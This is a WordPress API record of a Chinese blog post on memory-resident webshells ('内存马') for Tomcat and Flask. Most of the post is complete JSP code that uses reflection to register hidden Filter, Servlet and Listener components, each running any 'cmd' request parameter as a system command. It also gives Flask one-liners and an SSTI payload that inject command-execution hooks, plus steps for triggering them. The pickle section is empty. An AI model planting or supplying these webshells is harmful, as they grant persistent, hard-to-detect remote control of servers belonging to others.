{"id":80,"date":"2026-03-14T22:34:52","date_gmt":"2026-03-14T14:34:52","guid":{"rendered":"http:\/\/47.118.30.30\/?p=80"},"modified":"2026-03-15T11:40:26","modified_gmt":"2026-03-15T03:40:26","slug":"%e5%86%85%e5%ad%98%e9%a9%ac","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/14\/%e5%86%85%e5%ad%98%e9%a9%ac\/","title":{"rendered":"\u5185\u5b58\u9a6c"},"content":{"rendered":"<h1>\u5185\u5b58\u9a6c<\/h1>\n<h3>java\u7c7b\uff1a<\/h3>\n<p>\u5728 Java Web \u5f00\u53d1\u4e2d\uff0cListener\uff08\u76d1\u542c\u5668\uff09\u3001Filter\uff08\u8fc7\u6ee4\u5668\uff09\u548cServlet\uff08\u670d\u52a1\u7a0b\u5e8f\uff09 \u662f\u4e09\u4e2a\u6838\u5fc3\u7ec4\u4ef6\uff0c\u5206\u522b\u5728\u8bf7\u6c42\u751f\u547d\u5468\u671f\u7684\u4e0d\u540c\u9636\u6bb5\u8d77\u4f5c\u7528<\/p>\n<p>Servlet \uff1a Java Web \u5e94\u7528\u4e2d\u5904\u7406 HTTP \u8bf7\u6c42\u548c\u54cd\u5e94\u7684\u6838\u5fc3\u7ec4\u4ef6\u3002\u6bcf\u4e2a URL \u8def\u7531\u901a\u5e38\u7531\u4e00\u4e2a Servlet \u5904\u7406\uff0c\u8d1f\u8d23\u4e1a\u52a1\u903b\u8f91\u548c\u8fd4\u56de\u54cd\u5e94<\/p>\n<p>Filter \uff1a\u8bf7\u6c42\u5230\u8fbe Servlet \u4e4b\u524d\u3001\u6216\u54cd\u5e94\u8fd4\u56de\u5ba2\u6237\u7aef\u4e4b\u524d\u8fdb\u884c\u62e6\u622a\u548c\u5904\u7406<\/p>\n<p>Listener \uff1a\u76d1\u542c Web \u5e94\u7528\u7684\u751f\u547d\u5468\u671f\u4e8b\u4ef6<\/p>\n<p>\u4f46\u662f\uff0c\u53ef\u4ee5\u63a7\u5236\u4e09\u8005\u8fdb\u884c\u6076\u610f\u884c\u4e3a\u5b9e\u73b0\u65e0\u6587\u4ef6\u6728\u9a6c<\/p>\n<h6>Filter\u5185\u5b58\u9a6c<\/h6>\n<p>Filter\u5185\u5b58\u9a6c\u7684\u6838\u5fc3\u601d\u60f3\u662f\u5229\u7528Java\u7684\u53cd\u5c04\u673a\u5236\uff0c\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u6ce8\u518c\u4e00\u4e2a\u6076\u610f\u7684Filter\uff0c\u4ece\u800c\u62e6\u622a\u5e76\u5904\u7406\u6240\u6709\u7b26\u5408URL\u6a21\u5f0f\u7684\u8bf7\u6c42\u63a5\u6536\u5904\u7406\u53c2\u6570\u5bf9\u5e94\u7684\u503c\u8fdb\u884c\u547d\u4ee4\u6267\u884c\uff0c\u5e76\u653e\u884c\u4e0d\u7b26\u5408\u6761\u4ef6\u7684\u8bf7\u6c42\uff0c\u5b9e\u73b0\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u63a7\u5236\u3002<\/p>\n<pre><code>&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"java.util.Map\" %&gt;\n&lt;%@ page import=\"java.io.IOException\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterDef\" %&gt;\n&lt;%@ page import=\"org.apache.tomcat.util.descriptor.web.FilterMap\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Constructor\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationFilterConfig\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.Context\" %&gt;\n&lt;%@ page language=\"java\" contentType=\"text\/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%&gt;\n\n&lt;%\n  \/\/ \u6ce8\u5165\u6d41\u7a0b: ServletContext -&gt; ApplicationContext -&gt; StandardContext -&gt; filterConfigs -&gt; \u6ce8\u518c Filter\n\n  final String name = \"filter\"; \/\/ Filter \u7684\u540d\u79f0\n\n  \/\/ 1. \u83b7\u53d6 ServletContext\n  ServletContext servletContext = request.getServletContext();\n\n  \/\/ 2. \u901a\u8fc7\u53cd\u5c04\u83b7\u53d6 ApplicationContext\n  \/\/ \u53cd\u5c04\u83b7\u53d6 ServletContext \u4e2d\u7684 private \u5b57\u6bb5 \"context\" (\u5176\u7c7b\u578b\u4e3a ApplicationContext)\n  Field appctx = servletContext.getClass().getDeclaredField(\"context\");\n  appctx.setAccessible(true); \/\/ \u8bbe\u7f6e\u5b57\u6bb5\u53ef\u8bbf\u95ee\n  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); \/\/ \u83b7\u53d6\u5b57\u6bb5\u503c\n\n  \/\/ 3. \u901a\u8fc7\u53cd\u5c04\u83b7\u53d6 StandardContext\n  \/\/ \u53cd\u5c04\u83b7\u53d6 ApplicationContext \u4e2d\u7684 private \u5b57\u6bb5 \"context\" (\u5176\u7c7b\u578b\u4e3a StandardContext)\n  Field stdctx = applicationContext.getClass().getDeclaredField(\"context\");\n  stdctx.setAccessible(true); \/\/ \u8bbe\u7f6e\u5b57\u6bb5\u53ef\u8bbf\u95ee\n  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); \/\/ \u83b7\u53d6\u5b57\u6bb5\u503c\n\n  \/\/ 4. \u901a\u8fc7\u53cd\u5c04\u83b7\u53d6 filterConfigs (\u5b58\u50a8\u5df2\u6ce8\u518c Filter \u7684 Map)\n  \/\/ \u53cd\u5c04\u83b7\u53d6 StandardContext \u4e2d\u7684 private \u5b57\u6bb5 \"filterConfigs\"\n  Field Configs = standardContext.getClass().getDeclaredField(\"filterConfigs\");\n  Configs.setAccessible(true); \/\/ \u8bbe\u7f6e\u5b57\u6bb5\u53ef\u8bbf\u95ee\n  Map filterConfigs = (Map) Configs.get(standardContext); \/\/ \u83b7\u53d6\u5b57\u6bb5\u503c\n\n  \/\/ 5. \u68c0\u67e5\u662f\u5426\u5df2\u5b58\u5728\u540c\u540d Filter\n  if (filterConfigs.get(name) == null) {\n    \/\/ 6. \u521b\u5efa\u6076\u610f\u7684 Filter \u5b9e\u4f8b\n    Filter filter = new Filter() {\n      @Override\n      public void init(FilterConfig filterConfig) throws ServletException {\n        \/\/ Filter \u521d\u59cb\u5316\u65b9\u6cd5 (\u6b64\u5904\u4e3a\u7a7a)\n      }\n\n      @Override\n      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n        \/\/ Filter \u7684\u6838\u5fc3\u5904\u7406\u65b9\u6cd5\n        HttpServletRequest lrequest = (HttpServletRequest) servletRequest;\n        HttpServletResponse lresponse = (HttpServletResponse) servletResponse;\n\n        \/\/ \u5982\u679c\u8bf7\u6c42\u53c2\u6570\u4e2d\u5305\u542b \"cmd\"\uff0c\u5219\u6267\u884c\u547d\u4ee4\n        if (lrequest.getParameter(\"cmd\") != null) {\n          Process process = Runtime.getRuntime().exec(lrequest.getParameter(\"cmd\")); \/\/ \u6267\u884c\u7cfb\u7edf\u547d\u4ee4\n          \/\/ \u8bfb\u53d6\u547d\u4ee4\u6267\u884c\u7ed3\u679c\n          java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n                  new java.io.InputStreamReader(process.getInputStream()));\n          StringBuilder stringBuilder = new StringBuilder();\n          String line;\n          while ((line = bufferedReader.readLine()) != null) {\n            stringBuilder.append(line + 'n');\n          }\n          \/\/ \u5c06\u547d\u4ee4\u6267\u884c\u7ed3\u679c\u5199\u5165\u54cd\u5e94\n          lresponse.getOutputStream().write(stringBuilder.toString().getBytes());\n          lresponse.getOutputStream().flush();\n          lresponse.getOutputStream().close();\n          return; \/\/ \u963b\u6b62\u8bf7\u6c42\u7ee7\u7eed\u4f20\u9012\n        }\n        filterChain.doFilter(servletRequest, servletResponse); \/\/ \u653e\u884c\u4e0d\u7b26\u5408\u6761\u4ef6\u7684\u8bf7\u6c42\n      }\n\n      @Override\n      public void destroy() {\n        \/\/ Filter \u9500\u6bc1\u65b9\u6cd5\n      }\n    };\n\n    \/\/ 7. \u521b\u5efa FilterDef (Filter \u5b9a\u4e49)\n    FilterDef filterDef = new FilterDef();\n    filterDef.setFilter(filter); \/\/ \u8bbe\u7f6e Filter \u5b9e\u4f8b\n    filterDef.setFilterName(name); \/\/ \u8bbe\u7f6e Filter \u540d\u79f0\n    filterDef.setFilterClass(filter.getClass().getName()); \/\/ \u8bbe\u7f6e Filter \u7c7b\u540d\n    standardContext.addFilterDef(filterDef); \/\/ \u5c06 FilterDef \u6dfb\u52a0\u5230 StandardContext\n\n    \/\/ 8. \u521b\u5efa FilterMap (Filter \u6620\u5c04)\n    FilterMap filterMap = new FilterMap();\n    filterMap.addURLPattern(\"\/filter\"); \/\/ \u8bbe\u7f6e Filter \u6620\u5c04\u7684 URL \u6a21\u5f0f\n    filterMap.setFilterName(name); \/\/ \u8bbe\u7f6e Filter \u540d\u79f0\n    filterMap.setDispatcher(DispatcherType.REQUEST.name()); \/\/ \u8bbe\u7f6e\u89e6\u53d1\u7c7b\u578b\u4e3a REQUEST\n    standardContext.addFilterMapBefore(filterMap); \/\/ \u5c06 FilterMap \u6dfb\u52a0\u5230 StandardContext (\u6dfb\u52a0\u5230\u5176\u4ed6 FilterMap \u4e4b\u524d)\n\n    \/\/ 9. \u521b\u5efa ApplicationFilterConfig (Filter \u914d\u7f6e)\n    \/\/ \u53cd\u5c04\u83b7\u53d6 ApplicationFilterConfig \u7684\u6784\u9020\u65b9\u6cd5 (\u53c2\u6570\u4e3a Context \u548c FilterDef)\n    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);\n    constructor.setAccessible(true); \/\/ \u8bbe\u7f6e\u6784\u9020\u65b9\u6cd5\u53ef\u8bbf\u95ee\n    \/\/ \u901a\u8fc7\u53cd\u5c04\u521b\u5efa ApplicationFilterConfig \u5b9e\u4f8b\n    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);\n\n    \/\/ 10. \u5c06 FilterConfig \u6dfb\u52a0\u5230 filterConfigs \u4e2d\uff0c\u5b8c\u6210 Filter \u6ce8\u518c\n    filterConfigs.put(name, filterConfig);\n  }\n%&gt;<\/code><\/pre>\n<p>\u4e4b\u540e\/filter?cmd\u6267\u884c\u547d\u4ee4<\/p>\n<h6>Servlet\u7c7b\u578b\u7684\u5185\u5b58\u9a6c<\/h6>\n<p>Servlet \u578b\u5185\u5b58\u9a6c\u4e0e Filter \u578b\u5185\u5b58\u9a6c\u7c7b\u4f3c\uff0c\u90fd\u662f\u5229\u7528<strong>Java \u7684\u53cd\u5c04\u673a\u5236<\/strong>\u548c\u00a0<strong>Tomcat \u7684 API<\/strong>\u00a0\u5728\u8fd0\u884c\u65f6<strong>\u52a8\u6001\u6ce8\u518c<\/strong>\u6076\u610f\u7684\u7ec4\u4ef6\u3002Servlet \u5185\u5b58\u9a6c\u901a\u8fc7\u52a8\u6001\u6ce8\u518c\u4e00\u4e2a\u6076\u610f\u7684 Servlet \u6765\u63a5\u7ba1\u7279\u5b9a URL \u7684\u8bf7\u6c42\uff0c\u4ece\u800c\u5b9e\u73b0\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u63a7\u5236\u3002<\/p>\n<pre><code>&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.Wrapper\" %&gt;\n&lt;%@ page import=\"java.io.*\" %&gt;\n&lt;%@ page import=\"javax.servlet.*\" %&gt;\n&lt;%@ page import=\"javax.servlet.http.*\" %&gt;\n\n&lt;%\n  \/\/ \u5b9a\u4e49\u6076\u610fServlet\u7c7b\n  class EvilServlet extends HttpServlet {\n    @Override\n    public void doGet(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n      String cmd = request.getParameter(\"cmd\");\n      if (cmd != null) {\n        try {\n          Process process = Runtime.getRuntime().exec(cmd);\n          BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));\n          StringBuilder sb = new StringBuilder();\n          String line;\n          while ((line = br.readLine()) != null) {\n            sb.append(line).append(\"n\");\n          }\n          response.getWriter().write(sb.toString());\n        } catch (Exception e) {\n          response.getWriter().write(e.toString());\n        }\n      }\n    }\n\n    @Override\n    public void doPost(HttpServletRequest request, HttpServletResponse response)\n            throws ServletException, IOException {\n      doGet(request, response);\n    }\n  }\n\n  \/\/ \u6ce8\u5165\u6d41\u7a0b\n  final String servletName = \"evilServlet\";\n  final String urlPattern = \"\/evil\";\n\n  \/\/ 1. \u83b7\u53d6 StandardContext\n  ServletContext servletContext = request.getServletContext();\n  Field appContextField = servletContext.getClass().getDeclaredField(\"context\");\n  appContextField.setAccessible(true);\n  ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);\n  Field standardContextField = applicationContext.getClass().getDeclaredField(\"context\");\n  standardContextField.setAccessible(true);\n  StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);\n\n  \/\/ 2. \u68c0\u67e5 Servlet \u662f\u5426\u5df2\u5b58\u5728,\u9632\u6b62\u91cd\u590d\u6ce8\u5165\n  if (standardContext.findChild(servletName) == null) {\n    \/\/ 3. \u521b\u5efa Wrapper\n    Wrapper wrapper = standardContext.createWrapper();\n    wrapper.setName(servletName);\n    wrapper.setServletClass(EvilServlet.class.getName());\n    wrapper.setServlet(new EvilServlet());\n    wrapper.setLoadOnStartup(1);\n\n    \/\/ 4. \u6dfb\u52a0 Servlet \u914d\u7f6e\n    standardContext.addChild(wrapper);\n    standardContext.addServletMappingDecoded(urlPattern, servletName);\n\n    out.println(\"Servlet \u6ce8\u5165\u6210\u529f!\");\n    out.println(\"\u8bbf\u95ee\u8def\u5f84: \" + urlPattern);\n    out.println(\"\u652f\u6301\u53c2\u6570: cmd\");\n  } else {\n    out.println(\"Servlet \u5df2\u5b58\u5728!\");\n  }\n%&gt;<\/code><\/pre>\n<p>\u4e0a\u4f20\u8be5jsp\u6587\u4ef6\u5230webapp\u76ee\u5f55\u7136\u540e\u8bbf\u95eejsp\u6587\u4ef6\u89e6\u53d1\u4ee3\u7801\uff0c\u5185\u5b58\u9a6c\u6ce8\u5165\u6210\u529f\u4e4b\u540e\u5c31\u53ef\u4ee5\u901a\u8fc7\u8def\u7531\/evil?cmd\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<h5>Listener \u578b\u5185\u5b58\u9a6c\u539f\u7406<\/h5>\n<p>\u57fa\u4e8e Listener \u7684\u5185\u5b58\u9a6c\u5229\u7528\u00a0<strong>Tomcat \u7684 API<\/strong>\u00a0\u548c\u00a0<strong>Java \u7684\u53cd\u5c04\u673a\u5236<\/strong>\uff0c\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u6ce8\u518c\u4e00\u4e2a\u6076\u610f\u7684 Listener\u3002\u5f53 Web \u5e94\u7528\u7a0b\u5e8f\u7684\u751f\u547d\u5468\u671f\u4e8b\u4ef6\u6216\u5c5e\u6027\u53d8\u66f4\u4e8b\u4ef6\u53d1\u751f\u65f6\uff0c\u8fd9\u4e2a\u6076\u610f\u7684 Listener \u5c31\u4f1a\u6267\u884c\u9884\u5148\u8bbe\u5b9a\u7684\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<pre><code>&lt;%@ page import=\"org.apache.catalina.core.StandardContext\" %&gt;\n&lt;%@ page import=\"org.apache.catalina.core.ApplicationContext\" %&gt;\n&lt;%@ page import=\"java.lang.reflect.Field\" %&gt;\n&lt;%@ page import=\"javax.servlet.*\" %&gt;\n&lt;%@ page import=\"java.io.*\" %&gt;\n&lt;%@ page import=\"javax.servlet.http.HttpServletRequest\" %&gt;\n&lt;%@ page import=\"javax.servlet.http.HttpServletResponse\" %&gt;\n\n&lt;%\n    \/\/ \u5b9a\u4e49\u6076\u610fListener\n    class EvilListener implements ServletRequestListener {\n        @Override\n        public void requestInitialized(ServletRequestEvent sre) {\n            \/\/ \u6bcf\u6b21\u8bf7\u6c42\u521d\u59cb\u5316\u7684\u65f6\u5019\u5904\u7406\n            System.out.println(\"start of listen\");\n            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();\n            String cmd = request.getParameter(\"cmd\");\n            if (cmd != null) {\n                try {\n                    Process process = Runtime.getRuntime().exec(cmd);\n                    BufferedReader br = new BufferedReader(\n                            new InputStreamReader(process.getInputStream()));\n                    StringBuilder sb = new StringBuilder();\n                    String line;\n                    while ((line = br.readLine()) != null) {\n                        sb.append(line).append(\"n\");\n                    }\n                    HttpServletResponse response =\n                            (HttpServletResponse) request.getAttribute(\"javax.servlet.response\");\n                    response.getWriter().write(sb.toString());\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n\n        @Override\n        public void requestDestroyed(ServletRequestEvent sre) {\n            \/\/ \u6bcf\u6b21\u8bf7\u6c42\u7ed3\u675f\u65f6\u7684\u5904\u7406\n            System.out.println(\"ends of listen\");\n        }\n    }\n\n    \/\/ \u6ce8\u5165\u6d41\u7a0b\n    \/\/ 1. \u83b7\u53d6StandardContext\n    ServletContext servletContext = request.getSession().getServletContext();\n    Field appContextField = servletContext.getClass().getDeclaredField(\"context\");\n    appContextField.setAccessible(true);\n    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);\n    Field standardContextField = applicationContext.getClass().getDeclaredField(\"context\");\n    standardContextField.setAccessible(true);\n    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);\n\n    \/\/ 2. \u521b\u5efa\u5e76\u6dfb\u52a0Listener\n    ServletRequestListener evilListener = new EvilListener();\n    standardContext.addApplicationEventListener(evilListener);\n\n    out.println(\"Listener\u6ce8\u5165\u6210\u529f!\");\n%&gt;<\/code><\/pre>\n<h3>flask<\/h3>\n<p>Debug\u6a21\u5f0f\u4e0b\u5229\u7528\u62a5\u9519\uff1a<\/p>\n<pre><code>exec(\"raise Exception(__import__('os').popen('whoami').read())\")<\/code><\/pre>\n<p>\u975eDebug\u6a21\u5f0f\u4e0b\u5229\u7528\uff1a<\/p>\n<pre><code>import sys\nimport os\nsys.modules['__main__'].__dict__['app'].add_url_rule('\/shell','shell',lambda :os.popen('dir').read())<\/code><\/pre>\n<p>\u4f46\u662f\u5728\u65b0\u7248\u672cFlask\u4e2d\uff0c\u901a\u8fc7add_url_rule\u6765\u521b\u5efa\u8def\u7531\u7684\u65b9\u6cd5\u5df2\u7ecf\u4e0d\u518d\u9002\u7528\uff0c\u53d6\u800c\u4ee3\u4e4b\u7684\u662fbefore_request\u548cafter_request<\/p>\n<p>before_request\uff1a<\/p>\n<pre><code>app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')).read())')==None else resp)<\/code><\/pre>\n<p>\u82e5\u6ca1\u6709\u5bfc\u5165\u5305\uff08\u7528\u4e8e\u65e0\u56de\u663essti\uff09\uff1a<\/p>\n<pre><code>{{url_for.__globals__['__builtins__']['eval'](\"app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)\",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}<\/code><\/pre>\n<p>errorhandler\uff08\u81ea\u5b9a\u4e49\u9519\u8bef\u5904\u7406\u51fd\u6570\u5b9e\u884c\u6076\u610f\u64cd\u4f5c\uff09\uff1a<\/p>\n<pre><code>exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")<\/code><\/pre>\n<p>\u8bbf\u95ee\u4e0d\u5b58\u5728\u7684\u8def\u5f84\u89e6\u53d1\u5373\u53ef<\/p>\n<p>pickle\u53cd\u5e8f\u5217\u5316\u65f6\u7684\u5229\u7528\uff1a<\/p>\n<pre><code><\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u5185\u5b58\u9a6c java\u7c7b\uff1a \u5728 Java Web \u5f00\u53d1\u4e2d\uff0cListener\uff08\u76d1\u542c\u5668\uff09\u3001Filter\uff08\u8fc7\u6ee4\u5668\uff09\u548cSer [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-80","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/80","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=80"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/80\/revisions"}],"predecessor-version":[{"id":89,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/80\/revisions\/89"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=80"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=80"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=80"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}